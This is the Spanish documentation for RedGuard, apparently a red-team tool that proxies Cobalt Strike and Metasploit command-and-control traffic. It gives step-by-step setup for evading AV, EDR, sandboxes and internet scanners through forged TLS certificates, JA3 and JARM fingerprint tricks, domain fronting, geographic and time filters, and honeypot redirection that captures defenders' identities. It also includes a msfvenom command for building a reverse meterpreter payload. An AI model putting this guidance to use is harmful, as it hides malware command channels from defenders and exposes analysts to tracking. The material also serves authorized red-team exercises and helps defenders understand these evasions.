RedGuard
RedGuard 24.06.18
Inglés | 中文文档
RedGuard, una herramienta derivada basada en la tecnología de control de flujo frontal de comando y control (C2), tiene un diseño más liviano, una interacción de tráfico eficiente y una compatibilidad confiable con el desarrollo en el lenguaje de programación go. Como los ciberataques evolucionan constantemente, el equipo rojo y azul Los ejercicios se vuelven cada vez más complejos, RedGuard está diseñado para proporcionar una mejor solución de ocultación del canal C2 para el equipo rojo, que proporciona el control de flujo para el canal C2, bloquea el tráfico de análisis "malicioso" y completa mejor toda la tarea de ataque.
RedGuard es una herramienta de control de flujo frontal C2 que puede evitar la detección de Blue Team, AVS, EDR y Cyberspace Search Engine.
Puede descargar y utilizar directamente la versión compilada, o puede descargar el paquete go de forma remota para una compilación y ejecución independientes.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
Como se muestra en la siguiente figura, establezca permisos ejecutables e inicialice RedGuard. La primera ejecución generará un archivo de configuración en el directorio de inicio del usuario actual para lograr una configuración de funciones flexible. Nombre del archivo de configuración: .RedGuard_CobaltStrike.ini .
Contenido del archivo de configuración:
Las opciones de configuración de cert son principalmente para la información de configuración de la comunicación HTTPS cifrada del certificado SSL entre la muestra y la infraestructura frontal C2. El proxy se utiliza principalmente para configurar las opciones de control en el tráfico del proxy inverso. El uso específico se explicará en detalle a continuación.
La comunicación HTTPS cifrada del certificado SSL se generará en el directorio cert-rsa/ bajo el directorio donde se ejecuta RedGuard. Puede iniciar y detener las funciones básicas de la herramienta modificando el archivo de configuración (el número de serie del certificado se genera según la marca de tiempo, no se preocupe por estar asociado con esta función) . Si desea utilizar su propio certificado , Simplemente cámbieles el nombre a ca.crt y ca.key.
openssl x509 -in ca.crt -noout -text
Las huellas digitales aleatorias de TLS JARM se actualizan cada vez que se inicia RedGuard para evitar que se utilice para autenticar la infraestructura C2.
En el caso de utilizar su propio certificado, modifique el parámetro HasCert en el archivo de configuración a true para evitar problemas de comunicación normales causados por la incompatibilidad del conjunto de cifrado CipherSuites con el certificado personalizado causado por la aleatorización de ofuscación JARM.
# Whether to use the certificate you have applied for true/false
HasCert = falseAl implementar un frente de dominio para ocultar el tráfico C2, el nombre de dominio acelerado no tiene información de certificado HTTPS de forma predeterminada. Obviamente, esto es problemático, por lo que debe prestar atención a la configuración del certificado al configurar el nombre de dominio. Esta es también la base predeterminada para determinar si la muestra es tráfico de front-end del dominio.
[^Tencent Cloud]: Configuración del certificado de la red de entrega de contenido
Creo que todos tendrán algunas preguntas después de leer esto: ¿Cómo obtener el certificado configurado? Si utiliza su propia solicitud para el certificado, no logrará el efecto de anonimato que esperamos. Aquí puede utilizar el certificado clonado para la configuración. Tomando Tencent Cloud como ejemplo, en la prueba se descubrió que no verificaba la validez del certificado cargado personalizado. Podemos utilizar el mismo certificado que el sitio real del nombre de dominio acelerado para falsificarlo. Aunque el certificado falsificado no puede comunicarse al reemplazar el certificado predeterminado de CS en circunstancias normales, no verificará la validez cuando se implemente en la aceleración de sitio completo CDN del proveedor de servicios en la nube y RedGuard, y el tráfico interactivo C2 puede comunicarse normalmente.
La siguiente es la dirección del proyecto existente en Github.
https://github.com/virusdefender/copy-certAunque el certificado en el lado del tráfico front-end del dominio de muestra se ha resuelto, desde la perspectiva del mapeo de red a gran escala, nuestro servidor C2 todavía está expuesto al mundo exterior y aún puede ser detectado y asociado con el servidor C2 real. . En este momento, RedGuard se puede utilizar para modificar el certificado frontal predeterminado de C2 para lograr el anonimato.
[^información de inteligencia]: Certificados TLS
Lo anterior es el efecto del certificado falsificado del servidor C2. Se puede ver que es creíble y no ha caducado en la inteligencia de la comunidad Threatbook. La forma principal de obtener el certificado digital es extraerlo y actualizarlo en tiempo real durante el análisis de la muestra en el entorno limitado de la nube, pero obviamente no se verifica de manera efectiva. El valor de estado solo verifica el tiempo de vencimiento. La verificación de confianza del certificado solo debe basarse en si se puede lograr una comunicación normal.
Cabe señalar que Threatbook Intelligence no marca las direcciones SNI y HOST de solicitudes de muestra con inteligencia de certificado. En realidad, esto es para evitar falsos positivos. Creo que esto es correcto. Como base importante para ayudar a los investigadores en el análisis, es mejor que la inteligencia sobre amenazas esté incompleta que apuntar en la dirección equivocada, lo que provocará errores de juicio en análisis posteriores. Si configurar certificados para la aceleración de sitio completo es falsificar certificados para el tráfico de comunicación, entonces configurar el certificado de respuesta previa de RedGuard C2 es falsificar las características de comportamiento del servidor C2 real implementado en la red pública para lograr efectos anti-mapeo, que es muy necesario.
Extraiga el número de serie del certificado: 55e6acaed1f8a430f9a938c5 y realice la codificación HEX para obtener la huella digital del certificado TLS: 26585094245224241434632730821
| IP | Puerto | Protocolo | Servicio | País | Ciudad | Título | Tiempo |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | apache httpd | Porcelana | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | Porcelana | Xuzhou | 403 Prohibido | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | Porcelana | Xuzhou | 403 Prohibido | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | Porcelana | Xuzhou | 403 Prohibido | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | Porcelana | 405 no permitido | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | Porcelana | Xuzhou | 403 Prohibido | 2023-08-28 |
Cantidad de resultados de búsqueda: 2291
A través del mapeo del ciberespacio, se descubrieron 2291 direcciones IP independientes y la verificación confirmó que todas tenían certificados TLS pertenecientes a Baidu. Es difícil determinar si se trata de una comunicación maliciosa basándose únicamente en el tráfico de comunicación. Sin embargo, los certificados TLS para las instalaciones de tráfico front-end del dominio + C2 front-end fueron falsificados, lo que interfirió con éxito con el mapeo espacial y la inteligencia de amenazas, lo que provocó una asociación de información incorrecta, hizo que las características del tráfico del atacante fueran más realistas y logró el propósito de falsificar la normalidad. tráfico de comunicaciones.
Incluso si no hay un procesamiento de reenvío oculto antes de la instalación de front-end de tráfico C2, es mejor cambiar el certificado de RedGuard. De forma predeterminada, cualquier biblioteca de huellas dactilares formada por la identificación de huellas dactilares de componentes comunes utilizados actualmente en el mapeo del ciberespacio utiliza el comportamiento de las características de configuración predeterminadas de los componentes comunes para la identificación. Diferentes grupos pueden mostrar diferentes características únicas durante estos procesos de personalización. Por supuesto, la formación de huellas dactilares requiere una cierta comprensión del componente objetivo, a fin de extraer las características predeterminadas del objetivo y formar una huella dactilar asociada. Aquí, las características de comportamiento del certificado RG se utilizan para el mapeo del ciberespacio, que está asociado con una gran cantidad de nodos RG desplegados en la red pública.
No es sorprendente que el autor haya podido extraer la huella digital, pero aun así se recomienda que los usuarios de RedGuard modifiquen la información predeterminada del certificado y sean piratas informáticos profesionales :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPD: Puede utilizar el comando de parámetro para modificar el archivo de configuración. Eso sí, creo que puede ser más conveniente modificarlo manualmente con vim.
Si accede directamente al puerto del proxy inverso, se activará la regla de interceptación. Aquí puede ver el directorio raíz de la solicitud del cliente a través del registro de salida, pero debido a que la solicitud no contiene las credenciales solicitadas, es decir, el encabezado de solicitud HOST correcto, se activa la regla de interceptación básica y el tráfico se redirige a https:/ /360.net
Esta es solo una demostración del resultado; el uso real se puede ejecutar en segundo plano a través de nohup ./RedGuard & .
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }No es difícil ver en el segmento anterior que 360.net se envía por proxy al puerto local 8080, 360.com se envía por proxy al puerto local 4433 y el protocolo HTTP utilizado también es diferente. En el uso real, es necesario prestar atención al tipo de protocolo del oyente. De acuerdo con la configuración aquí, configure el encabezado de solicitud HOST correspondiente.
Como se muestra en la figura anterior, en el caso de acceso no autorizado, la información de respuesta que obtenemos es también la información de retorno del sitio redirigido.
En el caso de interceptación básica anterior, se utiliza el método de interceptación predeterminado y el tráfico ilegal se intercepta mediante redirección. Al modificar el archivo de configuración, podemos cambiar el método de interceptación y la URL del sitio redirigido. De hecho, en lugar de llamar a esto una redirección, creo que sería más apropiado describirlo como secuestro, clonación, ya que el código de estado de respuesta devuelto es 200 y la respuesta se obtiene de otro sitio web para imitar el sitio web clonado/secuestrado como lo más cerca posible.
Los paquetes no válidos se pueden enrutar incorrectamente según tres estrategias:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net Redirect = URL en el archivo de configuración apunta a la dirección URL secuestrada. RedGuard admite "cambios en caliente", lo que significa que mientras la herramienta se ejecuta en segundo plano a través de nohup , aún podemos modificar el archivo de configuración. El contenido se inicia y se detiene en tiempo real.
./RedGuard -u --drop true Tenga en cuenta que al modificar el archivo de configuración a través de la línea de comando, no debe faltar la opción -u ; de lo contrario, el archivo de configuración no se podrá modificar correctamente. Si necesita restaurar la configuración predeterminada del archivo de configuración, solo necesita ingresar ./RedGuard -u .
Otro método de interceptación es DROP, que cierra directamente la respuesta de comunicación HTTP y se habilita configurando DROP = true . El efecto de interceptación específico es el siguiente:
Se puede ver que el control de flujo frontal C2 cierra directamente la respuesta a solicitudes ilegales sin el código de respuesta HTTP. En la detección del mapeo del ciberespacio, el método DROP puede ocultar la apertura de puertos. El efecto específico se puede ver en el siguiente caso. analizar.
Creo que muchos usuarios estarán interesados en secuestrar la respuesta . El principio general es que cuando el cliente inicia una solicitud al servidor C2 real, dado que no cumple con las reglas de entrada, el servidor C2 obtendrá el sitio normal especificado y devolverá su información de respuesta. Por lo tanto, desde el final de la solicitud de efecto, parece estar interactuando con el servicio IP, pero de hecho, el servidor C2 intermedio se utiliza como servidor proxy para interactuar con el sitio normal y es difícil encontrar anomalías. Si cumple con la solicitud entrante, la solicitud de tráfico se reenviará al puerto de escucha del servicio C2 real para la interacción, y el firewall de la nube ha filtrado el puerto de escucha real, lo que permite solo el acceso local y no se puede acceder directamente desde el exterior. . Entonces, desde la perspectiva de la apertura del puerto externo, solo el puerto HTTP/S está abierto y, en cierto sentido, este es de hecho el puerto en línea de C2.
[^ Diagrama de flujo de tráfico]: proceso de interacción del tráfico del servidor C2
En los datos de mapeo del ciberespacio, el código de respuesta del puerto abierto HTTP/S de la IP es 200, no un salto 307, que es más auténtico.
El certificado HTTPS tiene el mismo efecto que el certificado falsificado mencionado anteriormente y ambos son huellas digitales de certificados reales.
Creo que muchos equipos rojos utilizarán ampliamente métodos de ocultación, como funciones de nube/frente de dominio, en el proceso de lucha contra proyectos. Sin embargo, en el enfrentamiento ofensivo y defensivo de hoy, los dos métodos de ocultación anteriores tienen un problema fatal, es decir, pueden conectarse directamente al servicio C2. El resultado es, sin duda, que cuando captamos la dirección de la función de nube o la IP/HOST interactiva del dominio frontal, podemos acceder directamente al servicio de escucha C2 y demostrar que es una instalación de ataque.
Dado que el tráfico puede llegar directamente a C2, vale la pena considerar si el dispositivo de seguridad puede realizar un escaneo CS en el tráfico que no coincide con SNI y HOST para identificar si se trata de tráfico malicioso. Lo mismo ocurre con las funciones en la nube o los entornos sandbox. Además del lado de la muestra, también puede haber más procesos de análisis a nivel de tráfico.
Después de la respuesta al secuestro, el acceso directo al servicio HTTP puede interactuar con el sitio web normalmente, pero Cscan no puede escanear la información de muestra porque el tráfico no puede llegar al oyente C2 real. La interacción C2 normal sólo es posible cuando se cumplen las características de inicio de tráfico. Sin embargo, hay un problema. El script de escaneo C2 debe cumplir con las reglas de entrada, lo que pone a prueba la capacidad de codificación de los analistas del equipo azul. El script de escaneo público actualmente tiene el formato Nmap.
JA3 proporciona una huella digital más reconocible para comunicaciones cifradas entre clientes y servidores. Utiliza huellas digitales TLS para identificar negociaciones TLS entre clientes y servidores maliciosos, logrando así el efecto de asociar clientes maliciosos. Esta huella digital es fácil de generar en cualquier plataforma que utilice cifrado MD5 y actualmente se usa ampliamente en inteligencia sobre amenazas. Por ejemplo, se puede ver en informes de análisis de muestras de algunas zonas de pruebas para demostrar la correlación entre diferentes muestras.
Si podemos dominar el JA3(S) del servidor C2 y el cliente malicioso, incluso si el tráfico está cifrado y se desconoce la dirección IP o el nombre de dominio del servidor C2, aún podemos identificar la negociación TLS entre el cliente malicioso y el servidor a través de huellas digitales TLS. Creo que todos pueden pensar en esto después de ver esto, que también es una medida para lidiar con los métodos de ocultación de reenvío de tráfico, como el frente de dominio, el proxy inverso y la función de nube. A través de la ejecución de la zona de pruebas, la identificación de muestras y la comunicación C2, la negociación TLS y la generación de huellas dactilares JA3(S), que se pueden aplicar a la inteligencia de amenazas para lograr un seguimiento auxiliar.
Anuncié esta tecnología en 2022. Al probar el entorno sandbox de micropasos, descubrí que, aunque la cantidad de IP de salida que solicitaban interacción era pequeña, no era exacto identificar el sandbox por IP, y esta era una característica que se podía cambiar fácilmente. , pero su huella digital JA3 era única en el mismo entorno del sistema. Más tarde, recibí comentarios de que el sandbox había completado la aleatorización de huellas dactilares, pero pruebas recientes encontraron que no se había implementado por completo. Todavía espero afrontar el problema de las huellas dactilares en el tráfico.
Desde la perspectiva del entorno limitado de la nube, al monitorear la interacción del tráfico entre la muestra y el servidor C2, se genera la huella digital JA3(S) para identificar al cliente malicioso y así realizar una asociación. Pensando a la inversa, como una instalación de control de tráfico frente a C2, también podemos realizar dichas operaciones para obtener la huella digital JA3 de la solicitud del cliente. Al depurar diferentes entornos sandbox, estas huellas dactilares JA3 se obtienen para formar una biblioteca de huellas dactilares, formando así una estrategia de interceptación básica.
Imagine que en el proceso de interacción troyana por etapas, el cargador primero extraerá el código shell de la dirección remota. Luego, cuando el tráfico identifique que la solicitud cumple con las características de la zona de pruebas en la nube de la biblioteca de huellas dactilares JA3, interceptará las solicitudes posteriores. Si no se puede obtener el código shell, no se puede completar todo el proceso de carga y, naturalmente, el sandbox no puede analizarlo por completo. Si el entorno es un troyano sin etapas, el análisis de la zona de pruebas tampoco podrá cargarse finalmente en el servidor C2. Creo que todos se despertaron de un sueño y encontraron muchos registros de sandbox de larga data colgados en el C2. Por supuesto, en un estado ideal, podemos identificar diferentes entornos sandbox, lo que depende principalmente de la confiabilidad de la biblioteca de huellas digitales.
Durante la prueba, descubrí que después de agregar la huella digital JA3 de la biblioteca de solicitudes de lenguaje ZoomEye GO a la biblioteca de huellas digitales y monitorear el tráfico de solicitudes RG, la mayoría de las solicitudes activaron la interceptación básica de la función de la biblioteca de huellas digitales JA3. Aquí supongo que el lenguaje subyacente del producto topográfico y cartográfico es parte de la tarea de escaneo implementada en el lenguaje GO. A través de un enlace, la lógica de escaneo compuesta por diferentes lenguajes subyacentes finalmente completó toda la tarea de escaneo. Esto también explica por qué el escaneo de algunos productos topográficos y cartográficos activó la función de interceptación de huellas dactilares JA3 de la biblioteca de solicitudes de idioma GO. El principio de la regla de reconocimiento es el mismo que el de la huella digital de la zona de pruebas en la nube. Ambos utilizan la singularidad del entorno del cliente de solicitudes y la biblioteca de solicitudes. A diferencia del lado de la PC, el entorno de solicitud de estos productos básicamente no se cambiará a voluntad, lo que también nos permite captar e interceptar la huella digital del lado del tráfico , entonces, ¿podemos pensar si el dispositivo de seguridad puede usar la huella digital JA3 de la detección activa? ¿El tráfico como base para la interceptación? Por supuesto, cuando el tráfico empresarial es grande, puede haber una cierta cantidad de falsas alarmas. Aquí sólo proponemos requisitos de producto teóricamente factibles.
Los usuarios de PS también pueden cargar muestras en el sandbox para obtener y verificar sus huellas dactilares JA3 y agregarlas a la biblioteca de huellas dactilares. Cabe señalar que no tiene sentido si el sandbox solo cambia la huella digital JA3 y no la huella digital anterior. Lo que realmente hay que resolver es que cada vez que el sandbox realiza un análisis dinámico, no es la misma huella digital y sus cambios deben cumplir con el requisito de no repetirse tanto como sea posible. Si la tasa de repetición es alta, se seguirá utilizando como huella digital.
Actualmente admite la identificación e interceptación del entorno de pruebas en la nube de Threatbook como demostración de efectos.
La configuración de los dos parámetros siguientes en el archivo de configuración logra el efecto de cambiar el puerto del proxy inverso. Se recomienda ocultar el puerto predeterminado siempre que no entre en conflicto con el puerto actual del servidor. Si es necesario modificarlo, preste atención al : del valor del parámetro que no debe faltar
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80El comportamiento de seguimiento del equipo azul se analiza a través del registro de interceptación de la solicitud de destino, que se puede utilizar para rastrear eventos/problemas de conexión entre pares. El archivo de registro se genera en el directorio donde se ejecuta RedGuard, nombre de archivo: RedGuard.log .
Esta sección describe cómo configurar RG para obtener la dirección IP real de una solicitud. Solo necesita agregar la siguiente configuración al perfil del dispositivo C2, la dirección IP real del objetivo se obtiene a través del encabezado de solicitud X-Fordered-For.
http-config {
set trust_x_forwarded_for " true " ;
} El método de configuración toma AllowLocation = Jinan, Beijing como ejemplo. Tenga en cuenta que RedGuard proporciona dos API para la atribución de IP inversa, una para usuarios en China continental y la otra para usuarios en China no continental, y puede asignar dinámicamente qué API usar según el nombre de dominio geográfico ingresado, si el objetivo es China. utilice chino para la región establecida; de lo contrario, utilice nombres de lugares en inglés. Se recomienda que los usuarios de China continental utilicen nombres chinos, de modo que la precisión de la atribución y la velocidad de respuesta de la API obtenida mediante consulta inversa sean las mejores opciones.
PD: Usuarios de China continental, ¡no utilicen AllowLocation = Jinan,beijing de esta manera! No tiene mucho sentido, ¡el primer carácter del valor del parámetro determina qué API usar!
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
Antes de decidir restringir la región, puede consultar manualmente la dirección IP con el siguiente comando.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryAquí configuramos para permitir que solo la región de Shandong se conecte
Tráfico legal:
Área de solicitud ilegal:
En cuanto a las conexiones de restricciones geográficas, puede resultar más práctico en el actual ejercicio ofensivo y defensivo. Básicamente, los objetivos de las restricciones de ejercicios ofensivos y defensivos provinciales y municipales se encuentran en áreas designadas y, naturalmente, el tráfico solicitado por otras áreas puede ignorarse. Esta función de RedGuard no solo puede limitar una sola región, sino también limitar múltiples regiones de conexión según provincias y ciudades, e interceptar el tráfico solicitado por otras regiones.
Además de la lista negra de IP de proveedores de ciberseguridad incorporada en RedGuard, también podemos restringir según el método de la lista blanca. De hecho, también sugiero que durante la penetración web, podamos restringir las direcciones IP en línea de acuerdo con la lista blanca para dividir múltiples direcciones de dirección IP.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
Como se muestra en la figura anterior, restringimos para permitir solo conexiones 127.0.0.1, luego se bloqueará el tráfico de solicitud de otras IP.
Esta función es más interesante. Establecer los siguientes valores de parámetros en el archivo de configuración significa que la instalación de control de tráfico solo puede conectarse de 8:00 am a 9:00 pm. El escenario de aplicación específico aquí es que durante el tiempo de ataque especificado, permitimos la comunicación con C2 y permanecemos en silencio en otros momentos. Esto también permite que los equipos rojos duerman bien por la noche sin preocuparse de que algún equipo azul de servicio por la noche se aburra de analizar su troyano y luego se despierte con algo indescriptible, jajaja.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard utiliza el perfil Maleable C2. Analiza la sección del archivo de configuración extensible proporcionada para comprender el contrato y pasar solo aquellas solicitudes entrantes que lo satisfacen, mientras engaña a otras solicitudes. Partes como http-stager , http-get y http-post y sus correspondientes uris, encabezados, User-Agent, etc. se utilizan para distinguir las solicitudes de balizas legales del ruido irrelevante de Internet o de los paquetes IR/AV/EDR fuera de límites.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
Se recomienda utilizar el perfil escrito por 风起:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
En Cobalt Strike 4.7+, Teamserver elimina automáticamente el encabezado Content-Encoding sin ninguna notificación, lo que podría provocar una infracción maleable de http-(get|post).server. Además, si no hay ningún tipo de contenido en el mensaje de respuesta del servidor CS, pero después de ser reenviado por RedGuard, el tipo de contenido se agrega al encabezado del mensaje de respuesta, lo que hace que cf almacene en caché la página y cause interferencia.
Después de RedGuard 23.08.21, se agregó la función de personalizar el encabezado del paquete de respuesta. Los usuarios pueden personalizar y eliminar la información del encabezado en el paquete de respuesta modificando el archivo de configuración para resolver el problema del análisis incorrecto.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13 ha actualizado la función de reconocimiento de huellas dactilares de muestra del troyano, que se basa en la personalización del campo de encabezado HTTP del perfil maleable como el " valor de sal de muestra " de la huella digital para identificar de forma única el mismo oyente C2 /host de encabezado. Además, la huella digital de muestra del troyano generada combinando otros campos de solicitud relevantes se puede utilizar para detectar la vivacidad de la muestra personalizada. De acuerdo con los requisitos de la tarea del atacante, la función de reconocimiento de huellas dactilares de muestra del troyano puede realizar una " operación fuera de línea " en las muestras que desea deshabilitar, para evadir mejor el análisis de tráfico malicioso de la comunicación de muestra y el análisis de adquisición de carga útil del ataque PAYLOAD de muestra preparada, y proporcionar más medidas de sigilo personalizadas para el atacante.
Para diferentes oyentes C2, podemos dar diferentes alias a las configuraciones de perfil maleable, personalizar los nombres de campo y los valores de los encabezados relacionados como el valor de sal de muestra y usarlo como una de las distinciones entre diferentes muestras. El siguiente código tiene fines ilustrativos y, en escenarios reales de ataque y defensa, podemos utilizar campos de paquetes de solicitud HTTP más realistas como base para el juicio.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}Tráfico HTTP
Como se muestra en la figura, utilizamos el valor Salt y el campo Host del ejemplo anterior como base para la generación de huellas digitales. Aquí lo sabemos:
Al unir los valores anteriores, la huella digital de muestra se obtiene de la siguiente manera:
22e6db08c5ef1889d64103a290ac145cAhora que conocemos la huella digital de muestra anterior, podemos configurar el campo Encabezado personalizado y la huella digital de muestra en el archivo de configuración de RedGuard para la interceptación de tráfico malicioso. Vale la pena señalar que podemos extender varias huellas digitales de muestra, separadas por comas, y el nombre del campo debe ser coherente con el nombre del campo del encabezado configurado en el perfil maleable.
Debido a que el archivo de configuración de RedGuard es una configuración activa, no necesitamos reiniciar RedGuard para interceptar las muestras que queremos deshabilitar. Cuando queramos que se reactive la muestra, solo necesitamos eliminar la huella digital de la muestra relevante del archivo de configuración de RedGuard.
Efecto de demostración:
Si hay un problema con el método anterior, el firewall no puede interceptar directamente el servidor C2 en línea real, porque la solicitud de equilibrio de carga real en el proxy inverso la realiza la IP del fabricante del servidor en la nube.
En combate singular, podemos establecer reglas de interceptación en el firewall del servidor en la nube.
Luego configure la dirección a la que apunta el proxy en https://127.0.0.1:4433.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Y debido a que nuestra verificación básica se basa en el encabezado de solicitud HTTP HOST, lo que vemos en el tráfico HTTP también es lo mismo que el método de dominio frontal, pero el costo es menor y solo se necesita un servidor en la nube.
Para la configuración del oyente, el HTTPS Port (C2) está configurado en el puerto de proxy inverso RedGuard y el HTTPS Port (Bind) es el puerto de conexión real de la máquina local.
Genera troyano
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exePor supuesto, como escenario de dominio frontal, también puede configurar su LHOST para usar cualquier nombre de dominio de la CDN del fabricante y prestar atención a configurar HttpHostHeader para que coincida con RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true Es importante tener en cuenta que la configuración OverrideRequestHost debe establecerse en true . Esto se debe a una característica en la forma en que Metasploit maneja las solicitudes HTTP/S entrantes de forma predeterminada al generar la configuración para la preparación de cargas útiles. De forma predeterminada, Metasploit utiliza el valor del encabezado Host de la solicitud entrante (si está presente) para la configuración de la segunda etapa en lugar del parámetro LHOST . Por lo tanto, la etapa de compilación está configurada para enviar solicitudes directamente a su nombre de dominio oculto porque CloudFront pasa su dominio interno en el encabezado Host de las solicitudes reenviadas. Está claro que esto no es lo que estamos pidiendo. Usando el valor de configuración OverrideRequestHost , podemos forzar a Metasploit a ignorar el encabezado Host entrante y en su lugar usar el valor de configuración LHOST que apunta al dominio CloudFront de origen.
El oyente está configurado en el puerto de línea real que coincide con la dirección a la que RedGuard realmente reenvía.
RedGuard recibió la solicitud:
Como se muestra en la figura siguiente, cuando nuestra regla de interceptación está configurada en DROP, la sonda del sistema de mapeo espacial sondeará el directorio / de nuestro puerto proxy inverso varias veces. En teoría, el paquete de solicitud enviado por mapeo se simula como tráfico normal, como se muestra. Pero después de varios intentos, debido a que la firma del paquete de solicitud no cumple con los requisitos de publicación de RedGuard, todos son respondidos por Close HTTP. El efecto final que se muestra en la plataforma topográfica y cartográfica es que el puerto del proxy inverso no está abierto.
El tráfico que se muestra en la figura siguiente significa que cuando la regla de interceptación se establece en Redirigir, encontraremos que cuando la sonda de mapeo reciba una respuesta, continuará escaneando nuestro directorio. User-Agent es aleatorio, lo que parece estar en línea con las solicitudes de tráfico normales, pero ambos se bloquearon con éxito.
Plataforma de mapeo: efecto del modo de intercepción de respuesta de secuestro:
Plataforma de topografía y cartografía: efecto de la intercepción de redireccionamiento:
RedGuard admite la fachada de dominio. En mi opinión, existen dos formas de presentación. Una es utilizar el método tradicional de frente de dominio, que se puede lograr configurando el puerto de nuestro proxy inverso en la dirección de aceleración de regreso al origen de todo el sitio. Sobre la base original, la función de control de tráfico se agrega al frente del dominio y se puede redirigir a la URL especificada de acuerdo con la configuración que configuramos para que parezca más real. Cabe señalar que la configuración de RedGuard del encabezado HTTPS HOST debe ser coherente con el nombre de dominio de aceleración de todo el sitio.
En un solo combate, sugiero que se puede usar el método anterior, y en las tareas del equipo, también se puede lograr mediante "frontería de dominio" autodenominada.
En el fronting de dominio auto-construido, mantenga consistentes múltiples puertos de proxy inverso, y el encabezado del host señala consistentemente al puerto de escucha del servidor C2 real del backend. De esta manera, nuestro servidor C2 real puede estar bien oculto, y el servidor del proxy inverso solo puede abrir el puerto proxy configurando el firewall.
Esto se puede lograr a través de múltiples servidores de nodos y configurar múltiples IP de nuestros nodos en la IP en línea HTTPS HTTPS CS.
El principio de la captura de honeypot malicioso se basa principalmente en la respuesta de secuestro o la función de redirección de la guía de tráfico de RG, que guía a los analistas que evalúan las instalaciones C2 a la dirección de la caja de arena de honeypot. En el estado de respuesta de secuestro, RG dirigirá el tráfico de solicitudes que no cumple con las reglas entrantes a los activos de Honeypot. Al encontrar algunos honeypots más potentes (como los que capturan los números de teléfono móvil del operador), el cliente iniciará una solicitud de acuerdo con la respuesta del sitio de destino y será secuestrado por JSONP para obtener información relevante.
Imagine que cuando los analistas accedan directamente al puerto en línea C2, se dirigirán al activo de honeypot, que sin duda causará perturbaciones a los analistas. Se dirige a los analistas a solicitar el activo de honeypot, y el extremo de monitoreo de honeypot captura la información relevante de los analistas del equipo azul y traza el error. Si el objetivo de análisis es incorrecto desde el principio, ¿cómo puede obtener un buen resultado? Sin duda, esto causará una seria fricción interna para el equipo de defensa.
Aquí hay un conjunto de huellas digitales de Zoomeye asociadas con activos de honeypot:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
La forma de lograr este efecto es muy simple, solo necesita cambiar los valores clave relevantes en el archivo de configuración de RG.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comPD, creo que todos saben cómo configurarlo sin explicación :)
Este método es un tipo de truco astuto, que se refleja más en la idea. Si se utiliza más, la función de captura de honeypot se puede implementar en la instalación de control de tráfico frontal C2 y luego se puede dirigir el tráfico interactivo. El efecto es que los datos de caché del navegador del cliente se pueden obtener al igual que un honeypot tradicional. Sin embargo, personalmente siento que en la versión pública, puede no ser significativo aplicarlo a la actual confrontación de ataque y defensa. No tiene sentido para el atacante capturar la información social del analista del equipo azul y luego rastrearla. Por supuesto, dar un paso atrás, esto puede hacer que el análisis de las muestras C2 sea más peligrosa. Cuando el atacante de las industrias negras y grises puede obtener la identidad virtual del analista, si las identidades virtuales y reales pueden convertirse, todavía es relativamente peligrosa. Así que creo que la investigación y el análisis futuros deberían ser más cautelosos y vigilantes.
